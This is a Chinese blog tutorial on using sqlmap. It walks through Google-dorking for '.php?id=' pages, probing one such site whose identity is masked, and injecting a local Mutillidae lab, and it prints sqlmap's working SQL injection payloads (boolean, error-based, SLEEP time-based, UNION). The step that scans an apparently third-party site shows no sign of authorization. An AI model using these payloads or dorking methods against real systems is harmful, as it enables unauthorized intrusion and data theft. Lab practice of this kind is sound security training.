当前位置: 首页 > news >正文

sqlmap 自动注入 -01

1: 先看一下sqlmap 的help:

在kali-linux 系统里面,可以sqlmap -h看一下:

  Target:

    At least one of these options has to be provided to define the

    target(s)

    -u URL, --url=URL   Target URL (e.g. "Salesforce Platform for Application Development | Salesforce US")

    -g GOOGLEDORK       Process Google dork results as target URLs

可以看到上面是 php?id=1 的结尾的。

下面google 上面inurl .php?id= 来搜索一下:

去搜索的结果里面找一个有这样结尾的: .php?id=

其他的sqlmap 的参数也可以看一下,下面是一些例子:

  Enumeration:

    These options can be used to enumerate the back-end database

    management system information, structure and data contained in the

    tables

    -a, --all           Retrieve everything

    -b, --banner        Retrieve DBMS banner

    --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --passwords         Enumerate DBMS users password hashes

    --dbs               Enumerate DBMS databases

    --tables            Enumerate DBMS database tables

    --columns           Enumerate DBMS database table columns

    --schema            Enumerate DBMS schema

    --dump              Dump DBMS database table entries

    --dump-all          Dump all DBMS databases tables entries

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table(s) to enumerate

    -C COL              DBMS database table column(s) to enumerate

2: 下面测试一下:

└─# sqlmap -u "https:/abc.xxxxxphp?id=17"

        ___

       __H__                                                                                                       

 ___ ___[)]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [']     | .'| . |                                                                                          

|___|_  [(]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                       

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:52:06 /2025-01-21/

[02:52:06] [INFO] testing connection to the target URL

[02:52:08] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests

[02:52:08] [INFO] checking if the target is protected by some kind of WAF/IPS

[02:52:10] [INFO] testing if the target URL content is stable

[02:52:12] [INFO] target URL content is stable

[02:52:12] [INFO] testing if GET parameter 'id' is dynamic

[02:52:14] [WARNING] GET parameter 'id' does not appear to be dynamic

[02:52:15] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

[02:52:17] [INFO] testing for SQL injection on GET parameter 'id'

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

可以看出,上面已经返回结果,说,后台的数据库好像是mysql, 那么就可以用dbms=mysql 来指定DB进行注入:

还有个参数是 --batch, 这个是不要交互的参数:

 上面的输入" Y" 后,出现如下的参数:

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

[03:04:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:04:39] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:04:40] [INFO] testing 'Generic inline queries'

[03:04:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

有level 和risk 的参数,下面我们还是进入owasp 来看一下:

进入这个buttom:

直接进入这个界面:

进入这个界面:

随便输入一个账号+ 密码 进入:

看一下生成的link URL 如下:

http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details

下面用这个url sql 注入一下:

sqlmap -u "http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username

下面是注入结果:

      __H__                                                                                                       

 ___ ___[(]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [)]     | .'| . |                                                                                          

|___|_  ["]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                  

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:26:28 /2025-01-21/

[03:26:28] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=t8tm6u91qtv...on6o3e2772;showhints=1'). Do you want to use those [Y/n] Y

[03:26:29] [INFO] testing if the target URL content is stable

[03:26:30] [INFO] target URL content is stable

[03:26:31] [INFO] heuristic (basic) test shows that GET parameter 'username' might be injectable (possible DBMS: 'MySQL')                                                                                                              

[03:26:32] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks

[03:26:32] [INFO] testing for SQL injection on GET parameter 'username'

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y

[03:26:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:26:33] [WARNING] reflective value(s) found and filtering out

[03:26:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:26:42] [INFO] testing 'Generic inline queries'

[03:26:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:10] [INFO] GET parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Signature=")                                                                     

[03:27:10] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'                                                                                                                

[03:27:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'

[03:27:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'

[03:27:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'

[03:27:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[03:27:15] [INFO] GET parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                           

[03:27:15] [INFO] testing 'MySQL inline queries'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'

[03:27:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[03:27:30] [INFO] GET parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

[03:27:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[03:27:31] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[03:27:33] [INFO] target URL appears to have 7 columns in query

[03:27:36] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

[03:27:36] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval

GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:

---

Parameter: username (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

    Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

    Type: UNION query

    Title: MySQL UNION query (NULL) - 7 columns

    Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details

---

[03:27:36] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP 5.3.2, PHP, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

[03:27:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

[03:27:39] [WARNING] your sqlmap version is outdated

[*] ending @ 03:27:39 /2025-01-21/

--

上面的注入结果:

自动输入 " Y" 是因为 测试语句加入 --batch 的结果。

如果是第二次再run 同样的注入语句的话,时间会很快结束了。

上面如果没有加 -p username 的话,会对很多个注入点进行检测,会很耗时间。

参考文献: 

16.SQL注入攻击_哔哩哔哩_bilibili

相关文章:

sqlmap 自动注入 -01

1: 先看一下sqlmap 的help: 在kali-linux 系统里面&#xff0c;可以sqlmap -h看一下: Target: At least one of these options has to be provided to define the target(s) -u URL, --urlURL Target URL (e.g. "Salesforce Platform for Application Development | Sa…...

3.8.Trie树

Trie树 Trie 树&#xff0c;又称字典树或前缀树&#xff0c;是一种用于高效存储和检索字符串数据的数据结构&#xff0c;以下是关于它的详细介绍&#xff1a; 定义与原理 定义&#xff1a;Trie 树是一种树形结构&#xff0c;每个节点可以包含多个子节点&#xff0c;用于存储…...

day 21

进程、线程、协程的区别 进程&#xff1a;操作系统分配资源的最小单位&#xff0c;其中可以包含一个或者多个线程&#xff0c;进程之间是独立的&#xff0c;可以通过进程间通信机制&#xff08;管道&#xff0c;消息队列&#xff0c;共享内存&#xff0c;信号量&#xff0c;信…...

基于模板方法模式-消息队列发送

基于模板方法模式-消息队列发送 消息队列广泛应用于现代分布式系统中&#xff0c;作为解耦、异步处理和流量控制的重要工具。在消息队列的使用中&#xff0c;发送消息是常见的操作。不同的消息队列可能有不同的实现方式&#xff0c;例如&#xff0c;RabbitMQ、Kafka、RocketMQ…...

俄语画外音的特点

随着全球媒体消费的增加&#xff0c;语音服务呈指数级增长。作为视听翻译和本地化的一个关键方面&#xff0c;画外音在确保来自不同语言和文化背景的观众能够以一种真实和可访问的方式参与内容方面发挥着重要作用。说到俄语&#xff0c;画外音有其独特的特点、挑战和复杂性&…...

PyTorch使用教程(10)-torchinfo.summary网络结构可视化详细说明

1、基本介绍 torchinfo是一个为PyTorch用户量身定做的开源工具&#xff0c;其核心功能之一是summary函数。这个函数旨在简化模型的开发与调试流程&#xff0c;让模型架构一目了然。通过torchinfo的summary函数&#xff0c;用户可以快速获取模型的详细结构和统计信息&#xff0…...

亚博microros小车-原生ubuntu支持系列:5-姿态检测

MediaPipe 介绍参见&#xff1a;亚博microros小车-原生ubuntu支持系列&#xff1a;4-手部检测-CSDN博客 本篇继续迁移姿态检测。 一 背景知识 以下来自亚博官网 MediaPipe Pose是⼀个⽤于⾼保真⾝体姿势跟踪的ML解决⽅案&#xff0c;利⽤BlazePose研究&#xff0c;从RGB视频…...

C语言之高校学生信息快速查询系统的实现

&#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 C语言之高校学生信息快速查询系统的实现 目录 任务陈述与分析 问题陈述问题分析 数据结构设…...

WPF基础 | WPF 基础概念全解析:布局、控件与事件

WPF基础 | WPF 基础概念全解析&#xff1a;布局、控件与事件 一、前言二、WPF 布局系统2.1 布局的重要性与基本原理2.2 常见布局面板2.3 布局的测量与排列过程 三、WPF 控件3.1 控件概述与分类3.2 常见控件的属性、方法与事件3.3 自定义控件 四、WPF 事件4.1 路由事件概述4.2 事…...

迷宫1.2

先发一下上次的代码 #include<bits/stdc.h> #include<windows.h> #include <conio.h> using namespace std; char a[1005][1005]{ " ", "################", "# # *#", "# # # #&qu…...

RabbitMQ---应用问题

&#xff08;一&#xff09;幂等性介绍 幂等性是本身是数学中的运算性质&#xff0c;他们可以被多次应用&#xff0c;但是不会改变初始应用的结果 1.应用程序的幂等性介绍 包括很多&#xff0c;有数据库幂等性&#xff0c;接口幂等性以及网络通信幂等性等 就比如数据库的sel…...

Unity自学之旅03

Unity自学之旅03 Unity自学之旅03&#x1f4dd; 碰撞体 Collider 基础定义与作用常见类型OnCollisionEnter 事件碰撞触发器 &#x1f917; 总结归纳 Unity自学之旅03 &#x1f4dd; 碰撞体 Collider 基础 定义与作用 定义&#xff1a;碰撞体是游戏中用于检测物体之间碰撞的组…...

pip 相关

一劳永逸法&#xff08;pip怎么样都用不了也更新不了&#xff09;&#xff1a; 重下python(卸载旧版本&#xff09;&#xff1a;请输入访问密码 密码&#xff1a;7598 各版本python都有&#xff0c;下3.10.10 python路径建立&#xff0c;pip无法访问方式&#xff1a; 访问pip要…...

vue request 发送formdata

在Vue中&#xff0c;你可以使用axios库来发送包含FormData的请求。以下是一个简单的例子&#xff1a; 首先&#xff0c;确保你已经安装了axios&#xff1a; npm install axios然后&#xff0c;你可以使用axios发送FormData&#xff0c;例如&#xff1a; import axios from a…...

Android RTMP直播练习实践

前言&#xff1a;本文只是练习&#xff0c;本文只是练习&#xff0c;本文只是练习&#xff01; 直播的核心就是推流和拉流&#xff0c;我们就以RTMP的协议来实现下推流和拉流&#xff0c;其他的协议等我学习后再来补充 1.推流 1.1搭建流媒体服务器&#xff0c;具体搭建方法请参…...

ITIL认证工具商-ManageEngine Servicedesk Plus

ServiceDesk Plus是Zoho Corporation旗下企业IT管理部门ManageEngine提供的统一服务管理解决方案。凭借其无限的可扩展性、情境化的IT和业务集成以及一键式工作流程自动化功能&#xff0c;IT领导者可以使用ServiceDesk Plus有效执行和控制跨不同业务部门和IT功能的复杂工作流程…...

https 的 CA证书和电子签名

https 的攻击者可能使用伪造的一对公私钥与客户端交互, 那么如何确保确实是该服务器的公钥呢? 这就诞生了CA颁发机构 CA颁发机构 服务器和客户端都信任指定的CA颁发机构 服务器上传服务器公钥, CA颁发机构做了什么 服务器公钥哈希, 记为 Hash使用 CA 私钥为 Hash 进行 CA 签…...

频繁刷新网页会对服务器造成哪些影响?

当用户在进行浏览网页的过程中频繁刷新页面时&#xff0c;浏览器会向服务器发送请求&#xff0c;服务器会对该请求进行处理并返回到相应的页面内容中&#xff0c;所以频繁刷新网页会对服务器造成影响&#xff0c;有可能会出现以下问题&#xff1a; 用户每次刷新网页都会向服务器…...

贪心算法(题1)区间选点

输出 2 #include <iostream> #include<algorithm>using namespace std;const int N 100010 ;int n; struct Range {int l,r;bool operator <(const Range &W)const{return r<W.r;} }range[N];int main() {scanf("%d",&n);for(int i0;i&l…...

JavaWeb开发学习笔记--MySQL

MySQL-DQL 基本语法&#xff1a; select 字段列表 from 表名列表 where 条件列表 group by 分组字段列表 having 分组后条件列表 order by 排序字段列表 limit 分页参数 基本查询 关键字&#xff1a;SELECT 查询多个字段&#xff1a;select 字…...

【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15

缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下&#xff1a; struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

DeepSeek 赋能智慧能源:微电网优化调度的智能革新路径

目录 一、智慧能源微电网优化调度概述1.1 智慧能源微电网概念1.2 优化调度的重要性1.3 目前面临的挑战 二、DeepSeek 技术探秘2.1 DeepSeek 技术原理2.2 DeepSeek 独特优势2.3 DeepSeek 在 AI 领域地位 三、DeepSeek 在微电网优化调度中的应用剖析3.1 数据处理与分析3.2 预测与…...

shell脚本--常见案例

1、自动备份文件或目录 2、批量重命名文件 3、查找并删除指定名称的文件&#xff1a; 4、批量删除文件 5、查找并替换文件内容 6、批量创建文件 7、创建文件夹并移动文件 8、在文件夹中查找文件...

8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂

蛋白质结合剂&#xff08;如抗体、抑制肽&#xff09;在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上&#xff0c;高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术&#xff0c;但这类方法普遍面临资源消耗巨大、研发周期冗长…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?

论文网址&#xff1a;pdf 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误&#xff0c;若有发现欢迎评论指正&#xff01;文章偏向于笔记&#xff0c;谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)

设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

OpenLayers 分屏对比(地图联动)

注&#xff1a;当前使用的是 ol 5.3.0 版本&#xff0c;天地图使用的key请到天地图官网申请&#xff0c;并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能&#xff0c;和卷帘图层不一样的是&#xff0c;分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比

在机器学习的回归分析中&#xff0c;损失函数的选择对模型性能具有决定性影响。均方误差&#xff08;MSE&#xff09;作为经典的损失函数&#xff0c;在处理干净数据时表现优异&#xff0c;但在面对包含异常值的噪声数据时&#xff0c;其对大误差的二次惩罚机制往往导致模型参数…...

Ubuntu系统复制(U盘-电脑硬盘)

所需环境 电脑自带硬盘&#xff1a;1块 (1T) U盘1&#xff1a;Ubuntu系统引导盘&#xff08;用于“U盘2”复制到“电脑自带硬盘”&#xff09; U盘2&#xff1a;Ubuntu系统盘&#xff08;1T&#xff0c;用于被复制&#xff09; &#xff01;&#xff01;&#xff01;建议“电脑…...

区块链技术概述

区块链技术是一种去中心化、分布式账本技术&#xff0c;通过密码学、共识机制和智能合约等核心组件&#xff0c;实现数据不可篡改、透明可追溯的系统。 一、核心技术 1. 去中心化 特点&#xff1a;数据存储在网络中的多个节点&#xff08;计算机&#xff09;&#xff0c;而非…...